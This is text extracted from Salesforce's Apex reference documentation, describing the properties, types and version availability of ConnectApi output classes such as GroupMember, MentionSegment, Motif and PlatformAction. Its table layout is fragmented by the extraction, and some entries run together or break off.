Chatter REST API URL identifying the current page.

28.0

following

List<ConnectApi.
Subscription>

List of subscriptions

28.0

nextPageUrl

String

Chatter REST API URL identifying the next page or 28.0

null if there isnt a next page. Check whether this
value is null before getting another page. If a page
doesnt exist, a
ConnectApi.NotFoundException error
is returned.

previousPageUrl String

Chatter REST API URL identifying the previous page 28.0

or null if there isnt a previous page.

total

Type

Integer

Total number of records being followed across all

pages

28.0

ConnectApi.GenericBundleCapability Class
If a feed element has this capability, the feed element has a group of other feed elements condensed into one feed element. This group
is called a bundle.
Subclass of ConnectApi.BundleCapability Class.

1427

Reference

ConnectApi Output Classes

ConnectApi.GenericFeedElement Class
A concrete implementation of the abstract ConnectApi.FeedElement class.
Subclass of ConnectApi.FeedElement Class

ConnectApi.GlobalInfluence Class
Name

Type

Description

Available Version

percentile

String

Percentile value for the users influence rank within the organization 28.0
or community

rank

Integer

Number indicating the users influence rank, relative to all other

users within the organization or community

28.0

ConnectApi.GroupChatterSettings Class
A users Chatter settings for a specific group.
Name

Type

Description

emailFrequency ConnectApi.
GroupEmail
Frequency Enum

Available Version

The frequency with which a group member receives 28.0

email from a group.

ConnectApi.GroupInformation Class
Describes the Information section of the group. In the Web UI, this section is above the Description section. If the group is private,
this section is visible only to members.
Name

Type

Description

Available Version

text

String

The text of the Information section of the group.

28.0

title

String

The title of the Information section of the group.

28.0

ConnectApi.GroupMember Class
Name

Type

Description

Available Version

String

Users 18-character ID

28.0

lastFeed
AccessDate

Datetime

The date and time at which the group member last

accessed the group feed.

31.0

role

ConnectApi.
GroupMembership
Type Enum

Specifies the type of membership the user has with 28.0

the group, such as group owner, manager, or member.
GroupOwner

1428

Reference

Name

ConnectApi Output Classes

Type

Description

Available Version

GroupManager
NotAMember
NotAMemberPrivateRequested
StandardMember
url

String

Chatter REST API URL to this membership

28.0

user

ConnectApi.User
Summary

Information about the user who is subscribed to this

group

28.0

ConnectApi.GroupMemberPage Class
Name

Type

currentPageUrl String

Description

Available
Version

Chatter REST API URL identifying the current page.

28.0

members

List<ConnectApi. List of group members

GroupMember>

28.0

myMembership

ConnectApi.
Reference

If the context user is a member of this group, returns

information about that membership, otherwise, null.

nextPageUrl

String

previousPageUrl String

Chatter REST API URL identifying the previous page or null 28.0
if there isnt a previous page.

totalMemberCount Integer

Total number of group members across all pages

28.0

ConnectApi.GroupMembershipRequest Class
Name

Type

Description

Available
Version

createdDate

Datetime

ISO8601 date string, for example, 2011-02-25T18:24:31.000Z 28.0

String

ID for the group membership request object

28.0

lastUpdateDate Datetime

ISO8601 date string, for example, 2011-02-25T18:24:31.000Z 28.0

requestedGroup ConnectApi.
Reference

Information about the group the context user is requesting 28.0

to join.

1429

Reference

Name

ConnectApi Output Classes

Type

responseMessage String

Description

Available
Version

A message for the user if their membership request is

declined. The value of this property is used only when the
value of the status property is Declined.

28.0

The maximum length is 756 characters.

status

ConnectApi.
GroupMembership
RequestStatus

Enum

The status of a request to join a private group. Values are:

28.0

Accepted
Declined
Pending

url

String

URL of the group membership request object.

28.0

user

ConnectApi.User
Summary

Information about the user requesting membership in a

group.

28.0

ConnectApi.GroupMembershipRequests Class
Name

Type

Description

requests

List<ConnectApi.Group Information about group membership requests.

MembershipRequest>

28.0

total

Integer

28.0

The total number of requests.

Available Version

ConnectApi.GroupRecord Class
A record associated with a group.
Property

Type

Description

Available
Version

String

Records 18-character ID

33.0

record

ConnectApi.
ActorWithId

Information about the record associated with the group

33.0

url

String

Record URL

33.0

ConnectApi.GroupRecordPage Class
A paginated list of ConnectApi.GroupRecord objects.

1430

Reference

Property

ConnectApi Output Classes

Type

currentPageUrl String

Description

Available
Version

Chatter REST API URL identifying the current page.

33.0

nextPageUrl

String

Chatter REST API URL identifying the next page or null if 33.0
there isnt a next page. Check whether this value is null
before getting another page. If a page doesnt exist, a
ConnectApi.NotFoundException error is returned.

previous
PageUrl

String

Chatter REST API URL identifying the previous page or null 33.0
if there isnt a previous page.

records

List<ConnectApi.
GroupRecord>

List of records on the current page.

33.0

totalRecord
Count

Integer

Total number of records associated with the group.

33.0

ConnectApi.HashtagSegment Class
Subclass of ConnectApi.MessageSegment Class
Name

Type

Description

Available Version

tag

String

Text of the topic without the hash symbol (#)

28.0

topicUrl

String

Chatter REST API Topics resource that searches for the topic:

28.0

/services/data/v37.0/chatter
/topics?exactMatch=true&q=topic

url

String

Chatter REST API Feed Items resource URL that searches for the topic
in all feed items in an organization:

28.0

/services/data/v37.0/chatter/feed-items?q=topic

37.0

thumbnails

ConnectApi.File Information about the available thumbnails for the

PreviewCollection image.

35.0

url

String

35.0

The URL to the latest version of the inline image.

ConnectApi.InteractionsCapability
If a feed element has this capability, it has information about user interactions.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

Available Version

count

Integer

The number of individual views, likes, and comments 37.0

on a feed post.

ConnectApi.KnowledgeArticleVersion
A knowledge article version.
Property Name

Type

Description

Available Version

articleType

String

Type of the knowledge article.

36.0

String

ID of the knowledge article version.

36.0

knowledgeArticleId String

36.0

ConnectApi.KnowledgeArticleVersionCollection
A collection of knowledge article versions.

1432

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

items

List<ConnectApi.

A collection of knowledge article versions.

36.0

KnowledgeArticle
Version>

ConnectApi.LabeledRecordField Class
This class is abstract.
Subclass of ConnectApi.AbstractRecordField Class
Superclass of:
ConnectApi.CompoundRecordField Class
ConnectApi.CurrencyRecordField Class
ConnectApi.DateRecordField Class
ConnectApi.PercentRecordField Class
ConnectApi.PicklistRecordField Class
ConnectApi.RecordField Class
ConnectApi.ReferenceRecordField Class
ConnectApi.ReferenceWithDateRecordField Class
A record field containing a label and a text value.
Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances
of unknown subclasses.
Name

Type

Description

Available Version

label

String

A localized string describing the record field.

29.0

text

String

The text value of the record field. All record fields have a text value. 29.0
To ensure that all clients can consume new content, inspect the
record fields type property. If it isnt recognized, render the text
value as the default case.

ConnectApi.LinkAttachment Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, ConnectApi.LinkCapability is used.
Subclass of ConnectApi.FeedItemAttachment Class
Name

Type

Description

Available Version

title

String

Title given to the link if available, otherwise, null

28.031.0

url

String

The link URL

28.031.0

1433

Reference

ConnectApi Output Classes

ConnectApi.LinkCapability
If a feed element has this capability, it has a link.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

Datetime

Expiration time of the maintenance message.

34.0

scheduledEnd
Downtime

Datetime

Scheduled end of downtime. null for

GenerallyAvailable and ReadOnly
maintenance types.

34.0

1434

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

scheduledEnd
MaintenanceTime

Datetime

Scheduled end of maintenance. null for

Downtime maintenance type.

34.0

scheduledStart
Downtime

Datetime

Scheduled start of downtime. null for

GenerallyAvailable and ReadOnly
maintenance types.

34.0

scheduledStart
MaintenanceTime

Datetime

Scheduled start time of maintenance. null for

Downtime maintenance type.

34.0

ConnectApi.ManagedTopic Class
Represents a managed topic in a community.
Property Name

Type

Description

Available Version

children

List<ConnectApi.
ManagedTopic>

Children managed topics of the managed topic;

null if the depth request parameter isnt
specified or is 1.

35.0

String

ID of managed topic.

32.0

managedTopicType ConnectApi.Managed Type of managed topic.

TopicType
FeaturedTopics that are featured, for

32.0

example, on the community home page, but

dont provide overall navigation.
NavigationalTopics that display in a
navigational menu in the community.
Parent managed topic of the managed topic.

35.0

parent

ConnectApi.
Reference Class

topic

ConnectApi.Topic Information about the topic.

32.0

url

String

32.0

Chatter REST API URL to the managed topic.

ConnectApi.ManagedTopicCollection Class
A collection of managed topics.
Property Name

Type

Description

Available Version

currentPageUrl

String

Chatter REST API URL identifying the current page.

32.0

managedTopics

List<ConnectApi. List of managed topics.

ManagedTopic>

1435

32.0

Reference

ConnectApi Output Classes

ConnectApi.MarkupBeginSegment
The beginning of rich text markup.
Subclass of ConnectApi.MessageSegment Class
Property Name

Type

Description

Available Version

htmlTag

String

The HTML tag for this markup.

35.0

markupType

ConnectApi.
MarkupType

Specifies the type of rich text markup.

35.0

BoldBold tag.
CodeCode tag.
ItalicItalic tag.
ListItemList item tag.
OrderedListOrdered list tag.
ParagraphParagraph tag.
StrikethroughStrikethrough tag.
UnderlineUnderline tag.
UnorderedListUnordered list tag.

ConnectApi.MarkupEndSegment
The end of rich text markup.
Subclass of ConnectApi.MessageSegment Class
Property Name

Type

Description

Available Version

htmlTag

String

The HTML tag for this markup.

35.0

markupType

ConnectApi.
MarkupType

Specifies the type of rich text markup.

35.0

BoldBold tag.
CodeCode tag.
ItalicItalic tag.
ListItemList item tag.
OrderedListOrdered list tag.
ParagraphParagraph tag.
StrikethroughStrikethrough tag.
UnderlineUnderline tag.
UnorderedListUnordered list tag.

ConnectApi.MentionCompletion Class
Information about a record that could be used to @mention a user or group.

1436

Reference

Name

ConnectApi Output Classes

Type

additionalLabel String

Description

Available Version

An additional label (if one exists) for the record represented by this 29.0
completion, for example, (Customer) or (Acme Corporation).

description

String

A description of the record represented by this completion.

name

String

The name of the record represented by this completion. The name 29.0
is localized, if possible.

photoUrl

String

29.0

mentionCompletions List<ConnectApi.
MentionCompletion>

A list of mention completion proposals. Use these proposals 29.0

to build a feed post body.

String

Chatter REST API URL identifying the next page or null 29.0
if there isnt a next page. Check whether this value is null
before getting another page. If a page doesnt exist, a
ConnectApi.NotFoundException error is
returned.

nextPageUrl

Type

previousPageUrl String

Chatter REST API URL identifying the previous page or

null if there isnt a previous page.

1437

29.0

Reference

ConnectApi Output Classes

ConnectApi.MentionSegment Class
Subclass of ConnectApi.MessageSegment Class
Name

Type

Description

Available
Version

accessible

Boolean

Specifies whether the mentioned user or group can see

the post in which they are mentioned (true) or not
(false).

28.0

name

String

Name of the mentioned user or group

28.0

record

ConnectApi.
ActorWithId

Information about the mentioned user or group

29.0

user

ConnectApi.User
Summary

Information about the mentioned user

28.0 only
In versions before
29.0, if the mention
is not a user, the
mention is in a

Important: In versions 29.0 and later, use the

record property.

ConnectApi.TextSegment

object.

ConnectApi.MentionValidation Class
Information about whether a proposed mention is valid for the context user.
Name

Type

Description

Available Version

recordId

String

The ID of the mentioned record.

29.0

Specifies the type of validation error for a proposed

mention, if any.

29.0

validationStatus ConnectApi.
MentionValidation
Status Enum

DisallowedThe proposed mention is invalid

and is rejected because the context user is trying
to mention something that is not allowed. For
example, a user who is not a member of a private
group is trying to mention the private group.
InaccessibleThe proposed mention is
allowed but the user or record being mentioned
isnt notified because they don't have access to
the parent record being discussed.
OkThere is no validation error for this proposed
mention.

ConnectApi.MentionValidations Class
Information about whether a set of mentions is valid for the context user.

1438

Reference

ConnectApi Output Classes

Name

Type

Description

hasErrors

Boolean

Indicates whether at least one of the proposed

29.0
mentions has an error (true), or not (false). For
example, context users cant mention private groups
they dont belong to. If such a group is included in
the list of mention validations, hasErrors is
true and the group has a validationStatus
of Disallowed in its mention validation.

mentionValidations List<ConnectApi.
A list of mention validation information in the same
MentionValidation> order as the provided record IDs.

Available Version

29.0

ConnectApi.MessageBody Class
Subclass of ConnectApi.AbstractMessageBody Class
No additional properties.

ConnectApi.MessageSegment Class
This class is abstract.
Superclass of:
ConnectApi.ComplexSegment Class
ConnectApi.EntityLinkSegment Class
ConnectApi.FieldChangeSegment Class
ConnectApi.FieldChangeNameSegment Class
ConnectApi.FieldChangeValueSegment Class
ConnectApi.HashtagSegment Class
ConnectApi.InlineImageSegment
ConnectApi.LinkSegment Class
ConnectApi.MarkupBeginSegment
ConnectApi.MarkupEndSegment
ConnectApi.MentionSegment Class
ConnectApi.MoreChangesSegment Class
ConnectApi.ResourceLinkSegment Class
ConnectApi.TextSegment Class
Message segments in a feed item are typed as ConnectApi.MessageSegment. Feed item capabilities are typed as
ConnectApi.FeedItemCapability. Record fields are typed as ConnectApi.AbstractRecordField. These classes
are all abstract and have several concrete subclasses. At runtime you can use instanceof to check the concrete types of these objects
and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown
subclasses.
Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances
of unknown subclasses.

1439

Reference

ConnectApi Output Classes

Name

Type

Description

Available Version

text

String

Text-only rendition of this segment. If a client encounters an 28.0

unknown message segment type, it can render this value.

type

ConnectApi.
The message segment type. One of these values:
MessageSegment EntityLink
Type Enum
FieldChange

28.0

FieldChangeName
FieldChangeValue
Hashtag
InlineImage
Link
MarkupBegin
MarkupEnd
Mention
MoreChanges
ResourceLink
Text

ConnectApi.ModerationCapability Class
If a feed element has this capability, users in a community can flag it for moderation.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

Available Version

moderationFlags

ConnectApi.
ModerationFlags

The moderation flags for this feed element.

31.0
Community moderators can view and take action on
flagged items.

ConnectApi.ModerationFlags Class
Information about the moderation flags on a feed item, comment, or file.
Name

Type

Description

Available Version

flagCount

Integer

The number of moderation flags on this feed item, comment, or 29.0

file. If the context user is not a community moderator, the property
is null.

flaggedByMe

Boolean

true if the context user had flagged the feed item, comment, or 29.0
file for moderation; false otherwise.

1440

Reference

ConnectApi Output Classes

ConnectApi.MoreChangesSegment Class
Subclass of ConnectApi.MessageSegment Class
In feed items with a large number of tracked changes, the message is formatted as: changed A, B, and made X more changes. The
MoreChangesSegment contains the X more changes.
Name

Type

moreChanges

List<ConnectApi. Complete list of tracked changes.

FieldChange
Segment>

moreChangesCount Integer

Description

Available Version

Number of additional changes

29.0

28.0

ConnectApi.Motif Class
The motif properties contain URLs for small, medium, and large icons that indicate the Salesforce record type. Common record types
are files, users, and groups, but all record types have a set of motif icons. Custom object records use their tab style icon. All icons are
available to unauthenticated users so that, for example, you can display the motif icons in an email. The motif can also contain the record
types base color.
Note: The motif images are icons, not user uploaded images or photos. For example, every user has the same set of motif icons.
Custom object records use their tab style icon, for example, the following custom object uses the boat tab style:
"motif": {
"color: "8C004C",
"largeIconUrl": "/img/icon/custom51_100/boat64.png",
"mediumIconUrl": "/img/icon/custom51_100/boat32.png",
"smallIconUrl": "/img/icon/custom51_100/boat16.png",
"svgIconUrl": null
},

Users use the following icons:

"motif": {
"color: "1797C0",
"largeIconUrl": "/img/icon/profile64.png",
"mediumIconUrl": "/img/icon/profile32.png",
"smallIconUrl": "/img/icon/profile16.png",
"svgIconUrl": null
},

Groups use the following icons:

"motif": {
"color: "1797C0",
"largeIconUrl": "/img/icon/groups64.png",
"mediumIconUrl": "/img/icon/groups32.png",
"smallIconUrl": "/img/icon/groups16.png",
"svgIconUrl": null
},

1441

Reference

ConnectApi Output Classes

Files use the following icons:

"motif": {
"color: "1797C0",
"largeIconUrl": "/img/content/content64.png",
"mediumIconUrl": "/img/content/content32.png",
"smallIconUrl": "/img/icon/files16.png",
"svgIconUrl": null
},

Note: To view the icons in the previous examples, preface the URL with https://instance_name. For example,
https://instance_name/img/icon/profile64.png.
Name

Type

Description

Available
Version

color

String

A hex value representing the base color of the record type, or null. 29.0

largeIconUrl

String

A large icon indicating the record type.

28.0

mediumIconUrl

String

A medium icon indicating the record type.

28.0

smallIconUrl

String

A small icon indicating the record type.

28.0

svgIconUrl

String

An icon in SVG format indicating the record type, or null if the icon 34.0
doesnt exist.

ConnectApi.MuteCapability
If a feed element has this capability, users can mute it. Muted feed elements are visible in the muted feed, and invisible in all other feeds
that respect mute.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

Available Version

isMutedByMe

Boolean

Indicates whether the context user muted the feed 35.0

element.

ConnectApi.NewUserAudienceCriteria
The criteria for the new members type of recommendation audience.
Subclass of ConnectApi.AudienceCriteria.
Property Name

Type

maxDaysInCommunity Double

Description

Available Version

The maximum number of days since a user became 36.0

a community member.

ConnectApi.NonEntityRecommendation Class
Represents a recommendation for a non-Salesforce entity, such as an application.

1442

Reference

ConnectApi Output Classes

Subclass of ConnectApi.AbstractRecommendation Class.

ConnectApi.NonEntityRecommendation Class isnt used in version 34.0 and later. In version 34.0 and later,
ConnectApi.EntityRecommendation Class is used for all recommendations.
Property Name

Type

Description

Available Version

displayLabel

String

Localized label of the non-entity object.

32.0

motif

ConnectApi.Motif Motif for the non-entity object.

32.0

ConnectApi.OauthProviderInfo Class
Name

Type

authorizationUrl String
name

String

Description

Available Version

The URL used for authorization.

37.0

The name of the OAuth service provider.

37.0

ConnectApi.UserOauthInfo Class
Name

Type

Description

Available Version

availableExternal Connect.Oauth The available OAuth service provider.

EmailService
ProviderInfo
isAuthenticated Boolean

37.0

Specifies whether the user is authenticated (true) or not (false). 37.0

ConnectApi.OrganizationSettings Class
Name

Type

Description

accessTimeout

Integer

Amount of time after which the system prompts users 28.0

who have been inactive to log out or continue working

features

ConnectApi.Features Information about features available in the organization 28.0

maintenanceInfo List<ConnectApi.
MaintenanceInfo>

Available
Version

Information about a list of upcoming scheduled

maintenances for the organization.

34.0

name

String

Organization name

28.0

orgId

String

18-character ID for the organization

28.0

userSettings

ConnectApi.UserSettings Information about the organization permissions for the 28.0

user

1443

Reference

ConnectApi Output Classes

ConnectApi.OriginCapability
If a feed element has this capability, it was created by a feed action.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

Available Version

actor

ConnectApi.User
Summary Class

The user who executed the feed action.

33.0

originRecord

ConnectApi.Reference
Class

A reference to the feed element containing the feed 33.0

action.

ConnectApi.PercentRecordField Class
Subclass of ConnectApi.LabeledRecordField Class
A record field containing a percentage value.
Name

Type

Description

Available Version

value

Double

The value of the percentage.

29.0

ConnectApi.PhoneNumber Class
A phone number.
Name

Type

Description

Available Version

label

String

A localized string indicating the phone type

30.0

phoneNumber

String

Phone number

28.0

phoneType

String

Phone type. Values are:

30.0

Fax
Mobile
Work
These values are not localized.
type

String

Note: This property is not available after version 29.0. Use

the phoneType property instead.
Values are:
Fax
Mobile
Work
These values are not localized.

1444

28.029.0

Reference

ConnectApi Output Classes

ConnectApi.Photo Class
Name

Type

Description

Available Version

fullEmailPhotoUrl String

A temporary URL to the large profile picture. The URL expires after 28.0
30 days and is available to unauthenticated users.

String

URL to the large profile picture. The default width is 200 pixels, and 28.0
the height is scaled so the original image proportions are
maintained.

mediumPhotoUrl String

URL to the medium profile picture. The default width is 160 pixels, 37.0
and the height is scaled so the original image proportions are
maintained.

photoVersionId String

18character ID to that version of the photo

28.0
28.0

largePhotoUrl

smallPhotoUrl

String

URL to the small profile picture. The default size is 64x64 pixels.

standardEmail
PhotoUrl

String

A temporary URL to the small profile. The URL expires after 30 days 28.0
and is available to unauthenticated users.

url

String

A resource that returns a Photo object: for example,

28.0

/services/data/v37.0/chatter/users/005D0000001LL8OIAW/photo.

ConnectApi.PicklistRecordField Class
Subclass of ConnectApi.LabeledRecordField Class
A record field containing an enumerated value.

ConnectApi.PlatformAction Class
A platform action instance with state information for the context user.
Property Name

Type

Description

Available Version

actionUrl

String

For action links of subtype Ui or Download, 33.0

direct the user to download or visit the UI from this
link. Salesforce issues a Javascript redirect for the link
in this format:
/action-link-redirect/communityId
/actionLinkId?_bearer=bearerToken.

For Api action links and for all platform actions, this
value is null and Salesforce handles the call.
apiName

String

The API name. The value may be null.

confirmation
Message

String

If this action requires a confirmation and has a status 33.0

of NewStatus, this is a default localized message
that should be shown to an end user prior to invoking
the action. Otherwise, this is null.

1445

33.0

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

executingUser

ConnectApi.User
Summary Class

The user who initiated execution of this platform

action.

33.0

groupDefault

ConnectApi.
Reference Class

A reference to the platform action group containing 33.0

this platform action.

status

ConnectApi.
PlatformAction
Status

The execution status of the platform action. Values

are:

33.0

subtype

String

The subtype of a platform action or null.

If the type property is ActionLink, possible
values are:
ApiThe action link calls a synchronous API at
the action URL. Salesforce sets the status to
SuccessfulStatus or FailedStatus
based on the HTTP status code returned by your
server.
ApiAsyncThe action link calls an
asynchronous API at the action URL. The action
remains in a PendingStatus state until a

1446

33.0

Reference

Property Name

ConnectApi Output Classes

Type

Description

Available Version

third party makes a request to

/connect/action-links/actionLinkId

to set the status to SuccessfulStatus or

FailedStatus when the asynchronous
operation is complete.
DownloadThe action link downloads a file
from the action URL.
UiThe action link takes the user to a Web
page at the action URL.
Note: Invoking ApiAsync action links from
an app requires a call to set the status.
However, there isnt currently a way to set the
status of an action link using Apex. To set the
status, use Chatter REST API. See the Action
Link resource in the Chatter REST API Developer
Guide for more information.
type

ConnectApi.
The type of platform action. Values are:
33.0
PlatformActionType ActionLinkAn indicator on a feed element

that targets an API, a web page, or a file,

represented by a button in the Salesforce Chatter
feed UI.
CustomButtonWhen clicked, opens a URL
or a Visualforce page in a window or executes
JavaScript.
InvocableAction
ProductivityActionProductivity
actions are predefined by Salesforce and are
attached to a limited set of objects. You cant edit
or delete productivity actions.
QuickActionA global or object-specific
action.
StandardButtonA predefined Salesforce
button such as New, Edit, and Delete.
url

String

The URL for this platform action.

If the type is QuickAction and the subtype
is Create, this value is null.

ConnectApi.PlatformActionGroup Class
A platform action group instance with state appropriate for the context user.

1447

33.0

Reference

ConnectApi Output Classes

Action link groups are one type of platform action group and are therefore represented as ConnectApi.PlatformActionGroup
output classes.
Property Name

Type

Description

Available Version

Indicates the priority and relative locations of platform 33.0

actions. Values are:
PrimaryThe action link group is displayed
in the body of the feed element.
OverflowThe action link group is displayed
in the overflow menu of the feed element.

String

The 18-character ID or an opaque string ID of the

platform action group.

The URL for this platform action group.

33.0

If the ConnectApi.PlatformAction type

is QuickAction and the subtype is Create,
this value is null.

ConnectApi.PollCapability Class
If a feed element has this capability, it includes a poll.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

Available Version

choices

List<ConnectApi.
FeedPollChoice>

Collection of poll choices that make up the poll.

32.0

1448

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

myChoiceId

String

18-character ID of the poll choice that the current

user has voted for in this poll. Returns null if the
current user has not voted.

32.0

totalVoteCount

Integer

Total number of votes cast on the feed poll element. 32.0

ConnectApi.QuestionAndAnswersCapability Class
If a feed element has this capability, it has a question and comments on the feed element are answers to the question.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

Available Version

bestAnswer

ConnectApi.
Comment

The comment selected as the best answer for the

question.

32.0

bestAnswer
SelectedBy

ConnectApi.
UserSummary

The user who selected the best answer for the

question.

32.0

canCurrentUser
SelectOrRemove
BestAnswer

Boolean

Indicates whether current user can select or remove 32.0

Available Version

String

18-character ID of the recommendation audience.

35.0

memberCount

Integer

Important: This property is available only in

version 35.0. In version 36.0 and later, this
property is available in
ConnectApi.CustomListAudienceCriteria.

35.0 only

Number of members in the recommendation

audience.
members

ConnectApi.
UserReferencePage

Important: This property is available only in

version 35.0. In version 36.0 and later, this
property is available in
ConnectApi.CustomListAudienceCriteria.

35.0 only

Members of the recommendation audience.

modifiedBy

ConnectApi.User

User who last modified the recommendation

audience.

36.0

modifiedDate

Datetime

An ISO 8601 format date string, for example,

2011-02-25T18:24:31.000Z.

35.0

Recommendation
Audience>

ConnectApi.RecommendationsCapability
If a feed element has this capability, it has a recommendation.
Subclass of ConnectApi.FeedElementCapability Class.

1450

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

items

List<ConnectApi.

A list of recommendations.

32.0

Abstract
Recommendation>

ConnectApi.RecommendationCollection Class
A list of recommendations.
Property Name

Type

Description

recommendations

List<ConnectApi. Collection of recommendations.

Abstract
Recommendation>

Available Version
33.0

ConnectApi.RecommendationDefinition
Represents a custom recommendation definition.
Property Name

Type

Description

Available Version

actionUrl

String

The URL for acting on this recommendation.

35.0

actionUrlName

String

URL to the Chatter REST API resource for the

recommendation definition.

35.0

ConnectApi.RecommendationDefinitionPage
Represents a list of recommendation definitions.
Property Name

Type

Description

Available Version

recommendation
Definitions

List<ConnectApi.

A list of recommendation definitions.

35.0

url

String

URL to the Chatter REST API resource for the

recommendation definition collection.

35.0

Recommendation
Definition>

1451

Reference

ConnectApi Output Classes

ConnectApi.RecommendationExplanation Class
Explanation for a recommendation.
Subclass of ConnectApi.AbstractRecommendationExplanation Class.
Property Name

Type

Description

Available Version

detailsUrl

String

URL to explanation details or null if the

32.0
recommendation doesnt have a detailed explanation.

ConnectApi.RecommendedObject
A recommended object, such as a custom or static recommendation.
Subclass of ConnectApi.Actor Class
Property Name

Type

Description

Available Version

idOrEnum

String

ID of a recommendation definition for a custom

recommendation or the enum value Today for
static recommendations that dont have an ID
(version 35.0 and later).

34.0

motif

ConnectApi.Motif Motif of the recommended object.

34.0

List<ConnectApi.
RecordViewSection>

A list of record view sections.

29.0

ConnectApi.RecordViewSection Class
A section of record fields and values on a record detail.
Name

Type

Description

columnCount

Integer

The number of columns to use to lay out the fields in a record 29.0
section.

columnOrder

ConnectApi.
RecordColumnOrder

The order of the fields to use in the fields property to lay 29.0
out the fields in a record section.

Enum

LeftRightFields are rendered from left to right.

TopDownFields are rendered from the top down.

1453

Available
Version

Reference

ConnectApi Output Classes

Name

Type

Description

Available
Version

fields

ConnectApi.
Abstract
RecordField

The fields and values for the record contained in this section. 29.0

heading

String

A localized label to display when rendering this section of

fields.

isCollapsible

Boolean

Indicates whether the section can be collapsed to hide all the 29.0
fields (true) or not (false).

29.0

ConnectApi.Reference Class
Name

Type

Description

Available Version

String

The ID of the record being referenced, which could be an 18-character 28.0

ID or some other string identifier.

url

String

The URL to the resource endpoint.

28.0

ConnectApi.ReferenceRecordField Class
Subclass of ConnectApi.LabeledRecordField Class
A record field with a label and text value.
Name

Type

Description

Available Version

reference

ConnectApi. The object referenced by the record field.

RecordSummary

29.0

ConnectApi.ReferenceWithDateRecordField Class
Subclass of ConnectApi.LabeledRecordField Class
A record field containing a referenced object that acted at a specific time, for example, Created By....
Name

Type

Description

Available Version

dateValue

Datetime

A time at which the referenced object acted.

29.0

reference

ConnectApi. The object referenced by the record field.

RecordSummary

ConnectApi.RelatedFeedPost (Beta)
This class is abstract.
Subclass of: ConnectApi.ActorWithId Class

1454

29.0

Reference

ConnectApi Output Classes

Superclass of: ConnectApi.RelatedQuestion (Beta)

Note: This release contains a beta version of related questions, which means its a high-quality feature with known limitations.
This feature isnt generally available unless or until Salesforce announces its general availability in documentation or in press
releases or public statements. We cant guarantee general availability within any particular time frame or at all. Make your purchase
decisions only on the basis of generally available products and features. You can provide feedback and suggestions for related
questions in the Community Implementation group in the Success Community.
Property Name

Type

Description

Available Version

score

Double

Score of the related feed post that indicates how

closely related it is to the context feed post.

37.0

title

String

Title of the related feed post.

37.0

ConnectApi.RelatedFeedPosts (Beta)
A collection of related feed posts.
Note: This release contains a beta version of related questions, which means its a high-quality feature with known limitations.
This feature isnt generally available unless or until Salesforce announces its general availability in documentation or in press
releases or public statements. We cant guarantee general availability within any particular time frame or at all. Make your purchase
decisions only on the basis of generally available products and features. You can provide feedback and suggestions for related
questions in the Community Implementation group in the Success Community.
Property Name

Type

Description

relatedFeedPosts List<ConnectApi.
Collection of related feed posts.
RelatedFeedPost>

Available Version
37.0

ConnectApi.RelatedQuestion (Beta)
A related question.
Subclass of: ConnectApi.RelatedFeedPost (Beta)
Note: This release contains a beta version of related questions, which means its a high-quality feature with known limitations.
This feature isnt generally available unless or until Salesforce announces its general availability in documentation or in press
releases or public statements. We cant guarantee general availability within any particular time frame or at all. Make your purchase
decisions only on the basis of generally available products and features. You can provide feedback and suggestions for related
questions in the Community Implementation group in the Success Community.
Property Name

Type

Description

Available Version

hasBestAnswer

Boolean

Indicates whether the question has a best answer.

37.0

ConnectApi.Reputation Class
Reputation for a user.

1455

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

reputationLevel

ConnectApi.
ReputationLevel

Users reputation level.

32.0

User's reputation points, which can be earned by

performing different activities in the community.

32.0

A Chatter REST API URL to the reputation.

32.0

reputationPoints Double

String

url

ConnectApi.ReputationLevel Class
Reputation level for a user.
Property Name

Type

Description

a link to a list of users.

ConnectApi.ScheduledRecommendation
Represents a scheduled recommendation.

1456

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

channel

ConnectApi.
Recommendation
Channel

Specifies a way to tie recommendations together, for 36.0

example, to display recommendations in specific
places in the UI or to show recommendations based
on time of day or geographic locations. Values are:
CustomChannel1Custom
recommendation channel. Not used by default.
Work with your community manager to define
custom channels. For example, community
managers can use Community Builder to
determine where recommendations appear.
CustomChannel2Custom
recommendation channel. Not used by default.
Work with your community manager to define
custom channels.
CustomChannel3Custom
recommendation channel. Not used by default.
Work with your community manager to define
custom channels.
CustomChannel4Custom
recommendation channel. Not used by default.
Work with your community manager to define
custom channels.
CustomChannel5Custom
recommendation channel. Not used by default.
Work with your community manager to define
custom channels.
DefaultChannelDefault
recommendation channel. Recommendations
appear by default on the Napili community home
and question detail pages and in the feed in
communities in the Salesforce1 mobile browser
app. They also appear anywhere community
managers add recommendations using
Community Builder in communities using the
Summer 15 or later version of the Napili
template.

enabled

Boolean

Indicates whether scheduling is enabled. If true, 35.0

the recommendation is enabled and appears in
communities. If false, recommendations in feeds
in the Salesforce1 mobile browser app arent
removed, but no new recommendations appear. In
communities using the Summer 15 or later version
of the Napili template, disabled recommendations
no longer appear.

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Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

String

18-character ID of the scheduled recommendation. 35.0

rank

Integer

The rank determining the order of this scheduled

recommendation.

35.0

recommendation
AudienceId

String

ID of the audience for the scheduled

recommendation.

Description

Available Version

handle

String

Social handle, screen name, or alias that identifies

this account.

36.0

name

String

Name of the account as defined by the account's

owner.

36.0

profileUrl

String

URL to the account's profile.

36.0

ConnectApi.SocialPostCapability
If a feed element has this capability, it can interact with a social post on a social network.
Subclass of ConnectApi.FeedElementCapabilities Class.

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Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

author

ConnectApi.
SocialAccount

